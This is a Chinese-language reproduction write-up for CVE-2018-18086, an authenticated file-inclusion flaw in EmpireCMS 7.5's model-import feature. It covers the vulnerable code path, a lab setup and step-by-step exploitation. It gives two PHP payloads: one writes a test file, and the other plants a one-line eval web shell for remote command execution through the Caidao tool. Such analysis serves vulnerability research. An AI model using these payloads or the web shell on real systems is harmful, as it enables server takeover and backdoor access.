帝國CMS(EmpireCMS) v7.5後臺getshell分析(CVE-2018-18086)
帝國CMS(EmpireCMS) v7.5後臺getshell分析(CVE-2018-18086)
一、漏洞描述
EmpireCMS 7.5版本及之前版本在後臺備份資料庫時,未對資料庫表名做驗證,通過修改資料庫表名可以實現任意程式碼執行。EmpireCMS7.5版本中的/e/class/moddofun.php檔案的”LoadInMod”函式存在安全漏洞,攻擊者可利用該漏洞上傳任意檔案。
二、影響版本
EmpireCMS<=7.5
三、環境搭建
1、官方下載EmpireCMS V7.5 下載地址:http://www.phome.net/download/
2、把下載的檔案中的upload下的所有目錄和檔案放入到網站根目錄下
3、修改php.ini配置檔案, PHP環境中必須開啟短標籤,不然安裝會提示無法安裝
4、設定php.ini中 short_open_tag = On,重啟phpstudy
5、然後開始安裝,安裝過程參考: https://jingyan.baidu.com/article/48b37f8dcc014b1a6564887c.html
四、漏洞復現
1、檢視/e/admin/ecmsmod.php程式碼
2、跟隨LoadInMod函式來到/e/class/moddofun.php,可以看到上傳檔案處使用make_password(10)對時間進行加密然後拼接成為上傳的檔名,這樣就無法得到使用者名稱
3、繼續瀏覽程式碼,在下面發現@include($path),直接包含了這個上傳的檔案,這時如果在上傳檔案中新增可以建立檔案的程式碼就可以繞過找不到檔名這個限制了。
4、我們可以構造如下payload:
<?php file_put_contents(“shell.php”,”<?php phpinfo(); ?>”); ?>
5、登入後臺,點選如下圖所示
6、點選”匯入系統模型”之後進入如下介面
7、可以上傳一個內容為php程式碼的”.mod”字尾的檔案,內容如下:
8、上傳1.php.mod檔案
9、檢視檔案,可以看到成功上傳
10、瀏覽訪問http://192.168.10.171/empirecms/e/admin/shell.php,可以看到成功執行程式碼
11、上傳一個內容可以getshell的1.php.mod,內容入下:注意需要對$進行轉義
<?php file_put_contents("caidao.php","<?php @eval(\$_POST[cmd]); ?>");?>
12、成功上傳後,菜刀連線,成功getshell
------------------------------------------------------------------------------------------
參考: https://github.com/SukaraLin/php_code_audit_project/issu